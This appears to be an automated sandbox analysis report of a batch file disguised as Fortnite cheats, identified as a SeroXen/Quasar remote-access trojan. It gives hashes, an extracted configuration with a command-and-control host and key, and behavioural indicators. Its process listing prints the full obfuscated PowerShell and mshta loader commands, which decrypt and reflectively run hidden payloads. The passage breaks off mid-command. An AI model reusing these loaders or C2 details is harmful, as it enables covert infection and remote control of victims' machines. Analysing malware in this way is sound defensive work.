Analysis
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max time kernel
46s -
max time network
89s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
23/12/2023, 21:40
Static task
static1
Behavioral task
behavioral1
Sample
ogfncheats.bat
Resource
win7-20231215-en
General
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Target
ogfncheats.bat
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Size
12.5MB
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MD5
f5887c10643d58145e6322c8344b0169
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SHA1
52738891d47f153d1d833b87cd9ec33f8ab2065d
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SHA256
284fd3f018a4477fae7d37a1e79300f1ccfd4fd1f8b2247b25db36d1e9487e7a
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SHA512
b6ac2b6827484cd4a2959c0274fb9d57dee56699d8c2120528c477277ae5117b89450cfa16fa33bde71250404a588fa14adf872f120e364b3f14b28304ae1264
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SSDEEP
49152:DZeMEzX//hQjnzQOMfpqqm1AoOhr3CHiOVeE6g6O6phedXk/Baug+pR4BUkWWTyz:4
Malware Config
Extracted
quasar
1.0.0.0
v2.2.3 | SeroXen
european-robert.gl.at.ply.gg:43917
816d330a-0199-4676-8308-586f21e65988
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encryption_key
03D4B9A32AA2E0B8E7FE7E0957A921C9A3869870
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install_name
.exe
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log_directory
$sxr-Logs
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reconnect_delay
2000
Signatures
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Quasar payload 1 IoCs
resource yara_rule behavioral2/memory/4432-67-0x00000187FCE60000-0x00000187FD62A000-memory.dmp family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
description pid Process procid_target PID 4608 created 616 4608 ogfncheats.bat.exe 1 PID 4432 created 616 4432 $sxr-powershell.exe 1 -
Async RAT payload 1 IoCs
resource yara_rule behavioral2/memory/4432-67-0x00000187FCE60000-0x00000187FD62A000-memory.dmp asyncrat -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\International\Geo\Nation $sxr-mshta.exe -
Executes dropped EXE 5 IoCs
pid Process 4608 ogfncheats.bat.exe 2064 $sxr-mshta.exe 5044 $sxr-cmd.exe 4432 $sxr-powershell.exe 1668 $sxr-powershell.exe -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 4608 set thread context of 4568 4608 ogfncheats.bat.exe 101 PID 4608 set thread context of 3008 4608 ogfncheats.bat.exe 102 PID 4432 set thread context of 5096 4432 $sxr-powershell.exe 109 PID 4432 set thread context of 3680 4432 $sxr-powershell.exe 111 -
Drops file in Windows directory 6 IoCs
description ioc Process File opened for modification C:\Windows\$sxr-mshta.exe ogfncheats.bat.exe File created C:\Windows\$sxr-cmd.exe ogfncheats.bat.exe File opened for modification C:\Windows\$sxr-cmd.exe ogfncheats.bat.exe File created C:\Windows\$sxr-powershell.exe ogfncheats.bat.exe File opened for modification C:\Windows\$sxr-powershell.exe ogfncheats.bat.exe File created C:\Windows\$sxr-mshta.exe ogfncheats.bat.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ $sxr-mshta.exe -
Suspicious behavior: EnumeratesProcesses 31 IoCs
pid Process 4608 ogfncheats.bat.exe 4608 ogfncheats.bat.exe 4608 ogfncheats.bat.exe 4608 ogfncheats.bat.exe 4568 dllhost.exe 4568 dllhost.exe 4568 dllhost.exe 4568 dllhost.exe 3008 dllhost.exe 3008 dllhost.exe 3008 dllhost.exe 3008 dllhost.exe 4608 ogfncheats.bat.exe 4608 ogfncheats.bat.exe 4432 $sxr-powershell.exe 4432 $sxr-powershell.exe 4432 $sxr-powershell.exe 4432 $sxr-powershell.exe 4432 $sxr-powershell.exe 5096 dllhost.exe 5096 dllhost.exe 5096 dllhost.exe 5096 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 3680 dllhost.exe 4432 $sxr-powershell.exe 4432 $sxr-powershell.exe 1668 $sxr-powershell.exe 1668 $sxr-powershell.exe -
Suspicious use of AdjustPrivilegeToken 9 IoCs
description pid Process Token: SeDebugPrivilege 4608 ogfncheats.bat.exe Token: SeDebugPrivilege 4608 ogfncheats.bat.exe Token: SeDebugPrivilege 4568 dllhost.exe Token: SeDebugPrivilege 3008 dllhost.exe Token: SeDebugPrivilege 4432 $sxr-powershell.exe Token: SeDebugPrivilege 4432 $sxr-powershell.exe Token: SeDebugPrivilege 5096 dllhost.exe Token: SeDebugPrivilege 3680 dllhost.exe Token: SeDebugPrivilege 1668 $sxr-powershell.exe -
Suspicious use of WriteProcessMemory 40 IoCs
description pid Process procid_target PID 3056 wrote to memory of 4608 3056 cmd.exe 94 PID 3056 wrote to memory of 4608 3056 cmd.exe 94 PID 4608 wrote to memory of 4568 4608 ogfncheats.bat.exe 101 PID 4608 wrote to memory of 4568 4608 ogfncheats.bat.exe 101 PID 4608 wrote to memory of 4568 4608 ogfncheats.bat.exe 101 PID 4608 wrote to memory of 4568 4608 ogfncheats.bat.exe 101 PID 4608 wrote to memory of 4568 4608 ogfncheats.bat.exe 101 PID 4608 wrote to memory of 4568 4608 ogfncheats.bat.exe 101 PID 4608 wrote to memory of 4568 4608 ogfncheats.bat.exe 101 PID 4608 wrote to memory of 3008 4608 ogfncheats.bat.exe 102 PID 4608 wrote to memory of 3008 4608 ogfncheats.bat.exe 102 PID 4608 wrote to memory of 3008 4608 ogfncheats.bat.exe 102 PID 4608 wrote to memory of 3008 4608 ogfncheats.bat.exe 102 PID 4608 wrote to memory of 3008 4608 ogfncheats.bat.exe 102 PID 4608 wrote to memory of 3008 4608 ogfncheats.bat.exe 102 PID 4608 wrote to memory of 3008 4608 ogfncheats.bat.exe 102 PID 4608 wrote to memory of 3008 4608 ogfncheats.bat.exe 102 PID 4608 wrote to memory of 3008 4608 ogfncheats.bat.exe 102 PID 2064 wrote to memory of 5044 2064 $sxr-mshta.exe 104 PID 2064 wrote to memory of 5044 2064 $sxr-mshta.exe 104 PID 5044 wrote to memory of 4432 5044 $sxr-cmd.exe 106 PID 5044 wrote to memory of 4432 5044 $sxr-cmd.exe 106 PID 4432 wrote to memory of 5096 4432 $sxr-powershell.exe 109 PID 4432 wrote to memory of 5096 4432 $sxr-powershell.exe 109 PID 4432 wrote to memory of 5096 4432 $sxr-powershell.exe 109 PID 4432 wrote to memory of 5096 4432 $sxr-powershell.exe 109 PID 4432 wrote to memory of 5096 4432 $sxr-powershell.exe 109 PID 4432 wrote to memory of 5096 4432 $sxr-powershell.exe 109 PID 4432 wrote to memory of 5096 4432 $sxr-powershell.exe 109 PID 4432 wrote to memory of 3680 4432 $sxr-powershell.exe 111 PID 4432 wrote to memory of 3680 4432 $sxr-powershell.exe 111 PID 4432 wrote to memory of 3680 4432 $sxr-powershell.exe 111 PID 4432 wrote to memory of 3680 4432 $sxr-powershell.exe 111 PID 4432 wrote to memory of 3680 4432 $sxr-powershell.exe 111 PID 4432 wrote to memory of 3680 4432 $sxr-powershell.exe 111 PID 4432 wrote to memory of 3680 4432 $sxr-powershell.exe 111 PID 4432 wrote to memory of 3680 4432 $sxr-powershell.exe 111 PID 4432 wrote to memory of 3680 4432 $sxr-powershell.exe 111 PID 4432 wrote to memory of 1668 4432 $sxr-powershell.exe 112 PID 4432 wrote to memory of 1668 4432 $sxr-powershell.exe 112 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:616
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{d5190841-1bcf-4209-9eb2-d312624dca12}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4568
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{e1608151-6ceb-463b-be87-8c349d94be77}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5096
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{452207bb-a069-4a5d-afca-df5b3e5e4af6}2⤵PID:4456
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ogfncheats.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3056 -
C:\Users\Admin\AppData\Local\Temp\ogfncheats.bat.exe"ogfncheats.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function lcQtx($dpiPa){ $eZjNr=[System.Security.Cryptography.Aes]::Create(); $eZjNr.Mode=[System.Security.Cryptography.CipherMode]::CBC; $eZjNr.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $eZjNr.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NPyTHuT49MW9VbOSqL2SrBUAS+s20bzBlPRqjEsw6/U='); $eZjNr.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('LtWEUAsFehaKXVaG6sFGdA=='); $SyUCv=$eZjNr.CreateDecryptor(); $return_var=$SyUCv.TransformFinalBlock($dpiPa, 0, $dpiPa.Length); $SyUCv.Dispose(); $eZjNr.Dispose(); $return_var;}function yhmud($dpiPa){ $wffOi=New-Object System.IO.MemoryStream(,$dpiPa); $HuaTs=New-Object System.IO.MemoryStream; $ZGSXt=New-Object System.IO.Compression.GZipStream($wffOi, [IO.Compression.CompressionMode]::Decompress); $ZGSXt.CopyTo($HuaTs); $ZGSXt.Dispose(); $wffOi.Dispose(); $HuaTs.Dispose(); $HuaTs.ToArray();}function NcnIa($dpiPa,$NbKJR){ $newHT=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$dpiPa); $uhITD=$newHT.EntryPoint; $uhITD.Invoke($null, $NbKJR);}$czWgT=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\ogfncheats.bat').Split([Environment]::NewLine);foreach ($CaofW in $czWgT) { if ($CaofW.StartsWith('SEROXEN')) { $lWmen=$CaofW.Substring(7); break; }}$pxmlf=[string[]]$lWmen.Split('\');$rmlSF=yhmud (lcQtx ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pxmlf[0])));$XVjgW=yhmud (lcQtx ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pxmlf[1])));NcnIa $XVjgW (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));NcnIa $rmlSF (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4608 -
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{69282deb-7d7b-4c10-8814-81664ad908a0}3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3008
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C:\Windows\$sxr-mshta.exeC:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-gXrlVpTKIWUNXlzHfXGR4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"1⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2064 -
C:\Windows\$sxr-cmd.exe"C:\Windows\$sxr-cmd.exe" /c %$sxr-gXrlVpTKIWUNXlzHfXGR4312:&#<?=%2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5044 -
C:\Windows\$sxr-powershell.exeC:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function aDphM($yykpy){ $AVEyf=[System.Security.Cryptography.Aes]::Create(); $AVEyf.Mode=[System.Security.Cryptography.CipherMode]::CBC; $AVEyf.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $AVEyf.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('b007rYEV/W3WOBaIaYp4PVbns1T2e9vKRGRoYjhbc4w='); $AVEyf.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('P/st2pESncGAcUEjrvWNvQ=='); $wPVpy=$AVEyf.('rotpyrceDetaerC'[-1..-15] -join '')(); $ztldu=$wPVpy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yykpy, 0, $yykpy.Length); $wPVpy.Dispose(); $AVEyf.Dispose(); $ztldu;}function kjVhA($yykpy){ $xiSBi=New-Object System.IO.MemoryStream(,$yykpy); $DEAQR=New-Object System.IO.MemoryStream; $Uxbkk=New-Object System.IO.Compression.GZipStream($xiSBi, [IO.Compression.CompressionMode]::Decompress); $Uxbkk.CopyTo($DEAQR); $Uxbkk.Dispose(); $xiSBi.Dispose(); $DEAQR.Dispose(); $DEAQR.ToArray();}function LsklH($yykpy,$gPbdt){ $RCfYC=[System.Reflection.Assembly]::Load([byte[]]$yykpy); $lSBDH=$RCfYC.EntryPoint; $lSBDH.Invoke($null, $gPbdt);}$AVEyf1 = New-Object System.Security.Cryptography.AesManaged;$AVEyf1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AVEyf1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AVEyf1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('b007rYEV/W3WOBaIaYp4PVbns1T2e9vKRGRoYjhbc4w=');$AVEyf1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('P/st2pESncGAcUEjrvWNvQ==');$EaHLT = $AVEyf1.('rotpyrceDetaerC'[-1..-15] -join '')();$ePPUG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GrRlCeHTPt/FmlOe0MU62g==');$ePPUG = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ePPUG, 0, $ePPUG.Length);$ePPUG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ePPUG);$JMrHl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mCwnk0r2AnS4pIdFPSJpDzdz3BwVoeo8N/C/MOHZ2vE=');$JMrHl = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($JMrHl, 0, $JMrHl.Length);$JMrHl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($JMrHl);$eYSbf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oDcSm4cHPDJbG30RtAtiGA==');$eYSbf = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($eYSbf, 0, $eYSbf.Length);$eYSbf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($eYSbf);$irdwF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('afwgPl6Gt223TLYq3yRdnLPo5QISJKKqTl4nY61nLQj3mqwgc6NlcX/y9k+duPkMpdi6ZdoQF1uj2EvzhOn7SKubdNy9CLU0GVwYBLReBf+GPauz/IjR4jusIHEP/sLkgPzwX4m8wmu+j/5Wvl/SbaaVLkuX1/hFYbuVfk+6GybAcJG5lt/zGo6Zsqz/pFb4gfdJSoZFZRCa1AaODW82fXqLkL8zPtK1ErYizS8ldDyGigXdExMhbwtwxWA8tUJifuTc1YpOZmpHtkgL3C8b3Nvj/TEB5HjN7xjYGF5wXgVF7vbnb3PmDMDKpiaMBPnhZUtH/UdKqMZmittePHCcKC7cJ0pyBYFZGvGYSqTLHJUKtzJZ7iVZyqewZ80ZiEkNwIS7X8q+p7gJ6gw9N+bdtfgJduVf5S7NURLk723eqXM=');$irdwF = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($irdwF, 0, $irdwF.Length);$irdwF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($irdwF);$CsaJF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qmj++wxpjOntBPCCP5sX6Q==');$CsaJF = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CsaJF, 0, $CsaJF.Length);$CsaJF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CsaJF);$viRNi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vTu7xmhWm+4zC8WhvpoHcQ==');$viRNi = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($viRNi, 0, $viRNi.Length);$viRNi = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($viRNi);$fmcMD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YZiMDfcqUmH1y6WYNRVP1Q==');$fmcMD = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($fmcMD, 0, $fmcMD.Length);$fmcMD = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($fmcMD);$JErwL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PNCXAlFsbHlYtM/zfeKN8g==');$JErwL = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($JErwL, 0, $JErwL.Length);$JErwL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($JErwL);$MgDet = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HnotSsFg+0HDVsTOncJHvQ==');$MgDet = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MgDet, 0, $MgDet.Length);$MgDet = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MgDet);$ePPUG0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cKNfsn0XtIvbqZ3CpR3Btw==');$ePPUG0 = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ePPUG0, 0, $ePPUG0.Length);$ePPUG0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ePPUG0);$ePPUG1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('B6w/lTc6p59jqUqB4wjVkQ==');$ePPUG1 = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ePPUG1, 0, $ePPUG1.Length);$ePPUG1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ePPUG1);$ePPUG2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eYUOUZAoEZ01LnuzZR3N1g==');$ePPUG2 = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ePPUG2, 0, $ePPUG2.Length);$ePPUG2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ePPUG2);$ePPUG3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bucf54fGGhzGfijU+rpi1A==');$ePPUG3 = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ePPUG3, 0, $ePPUG3.Length);$ePPUG3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ePPUG3);$EaHLT.Dispose();$AVEyf1.Dispose();if (@(get-process -ea silentlycontinue $ePPUG3).count -gt 1) {exit};$SHyhW = [Microsoft.Win32.Registry]::$JErwL.$fmcMD($ePPUG).$viRNi($JMrHl);$widJE=[string[]]$SHyhW.Split('\');$CDgRe=kjVhA(aDphM([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($widJE[1])));LsklH $CDgRe (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$rGfhy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($widJE[0]);$AVEyf = New-Object System.Security.Cryptography.AesManaged;$AVEyf.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AVEyf.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AVEyf.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('b007rYEV/W3WOBaIaYp4PVbns1T2e9vKRGRoYjhbc4w=');$AVEyf.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('P/st2pESncGAcUEjrvWNvQ==');$wPVpy = $AVEyf.('rotpyrceDetaerC'[-1..-15] -join '')();$rGfhy = $wPVpy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rGfhy, 0, $rGfhy.Length);$wPVpy.Dispose();$AVEyf.Dispose();$xiSBi = New-Object System.IO.MemoryStream(, $rGfhy);$DEAQR = New-Object System.IO.MemoryStream;$Uxbkk = New-Object System.IO.Compression.GZipStream($xiSBi, [IO.Compression.CompressionMode]::$ePPUG1);$Uxbkk.$MgDet($DEAQR);$Uxbkk.Dispose();$xiSBi.Dispose();$DEAQR.Dispose();$rGfhy = $DEAQR.ToArray();$ZUXJz = $irdwF | IEX;$RCfYC = $ZUXJz::$ePPUG2($rGfhy);$lSBDH = $RCfYC.EntryPoint;$lSBDH.$ePPUG0($null, (, [string[]] ($eYSbf)))3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4432 -
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{0a3bf0ce-14ef-4d2c-9cf6-ed667c1325c5}4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3680
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4432).WaitForExit();[System.Threading.Thread]::Sleep(5000); function aDphM($yykpy){ $AVEyf=[System.Security.Cryptography.Aes]::Create(); $AVEyf.Mode=[System.Security.Cryptography.CipherMode]::CBC; $AVEyf.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $AVEyf.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('b007rYEV/W3WOBaIaYp4PVbns1T2e9vKRGRoYjhbc4w='); $AVEyf.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('P/st2pESncGAcUEjrvWNvQ=='); $wPVpy=$AVEyf.('rotpyrceDetaerC'[-1..-15] -join '')(); $ztldu=$wPVpy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yykpy, 0, $yykpy.Length); $wPVpy.Dispose(); $AVEyf.Dispose(); $ztldu;}function kjVhA($yykpy){ $xiSBi=New-Object System.IO.MemoryStream(,$yykpy); $DEAQR=New-Object System.IO.MemoryStream; $Uxbkk=New-Object System.IO.Compression.GZipStream($xiSBi, [IO.Compression.CompressionMode]::Decompress); $Uxbkk.CopyTo($DEAQR); $Uxbkk.Dispose(); $xiSBi.Dispose(); $DEAQR.Dispose(); $DEAQR.ToArray();}function LsklH($yykpy,$gPbdt){ $RCfYC=[System.Reflection.Assembly]::Load([byte[]]$yykpy); $lSBDH=$RCfYC.EntryPoint; $lSBDH.Invoke($null, $gPbdt);}$AVEyf1 = New-Object System.Security.Cryptography.AesManaged;$AVEyf1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AVEyf1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AVEyf1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('b007rYEV/W3WOBaIaYp4PVbns1T2e9vKRGRoYjhbc4w=');$AVEyf1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('P/st2pESncGAcUEjrvWNvQ==');$EaHLT = $AVEyf1.('rotpyrceDetaerC'[-1..-15] -join '')();$ePPUG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GrRlCeHTPt/FmlOe0MU62g==');$ePPUG = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ePPUG, 0, $ePPUG.Length);$ePPUG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ePPUG);$JMrHl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mCwnk0r2AnS4pIdFPSJpDzdz3BwVoeo8N/C/MOHZ2vE=');$JMrHl = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($JMrHl, 0, $JMrHl.Length);$JMrHl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($JMrHl);$eYSbf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oDcSm4cHPDJbG30RtAtiGA==');$eYSbf = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($eYSbf, 0, $eYSbf.Length);$eYSbf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($eYSbf);$irdwF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('afwgPl6Gt223TLYq3yRdnLPo5QISJKKqTl4nY61nLQj3mqwgc6NlcX/y9k+duPkMpdi6ZdoQF1uj2EvzhOn7SKubdNy9CLU0GVwYBLReBf+GPauz/IjR4jusIHEP/sLkgPzwX4m8wmu+j/5Wvl/SbaaVLkuX1/hFYbuVfk+6GybAcJG5lt/zGo6Zsqz/pFb4gfdJSoZFZRCa1AaODW82fXqLkL8zPtK1ErYizS8ldDyGigXdExMhbwtwxWA8tUJifuTc1YpOZmpHtkgL3C8b3Nvj/TEB5HjN7xjYGF5wXgVF7vbnb3PmDMDKpiaMBPnhZUtH/UdKqMZmittePHCcKC7cJ0pyBYFZGvGYSqTLHJUKtzJZ7iVZyqewZ80ZiEkNwIS7X8q+p7gJ6gw9N+bdtfgJduVf5S7NURLk723eqXM=');$irdwF = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($irdwF, 0, $irdwF.Length);$irdwF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($irdwF);$CsaJF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qmj++wxpjOntBPCCP5sX6Q==');$CsaJF = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CsaJF, 0, $CsaJF.Length);$CsaJF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CsaJF);$viRNi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vTu7xmhWm+4zC8WhvpoHcQ==');$viRNi = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($viRNi, 0, $viRNi.Length);$viRNi = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($viRNi);$fmcMD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YZiMDfcqUmH1y6WYNRVP1Q==');$fmcMD = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($fmcMD, 0, $fmcMD.Length);$fmcMD = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($fmcMD);$JErwL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PNCXAlFsbHlYtM/zfeKN8g==');$JErwL = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($JErwL, 0, $JErwL.Length);$JErwL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($JErwL);$MgDet = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HnotSsFg+0HDVsTOncJHvQ==');$MgDet = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MgDet, 0, $MgDet.Length);$MgDet = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MgDet);$ePPUG0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cKNfsn0XtIvbqZ3CpR3Btw==');$ePPUG0 = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ePPUG0, 0, $ePPUG0.Length);$ePPUG0 = 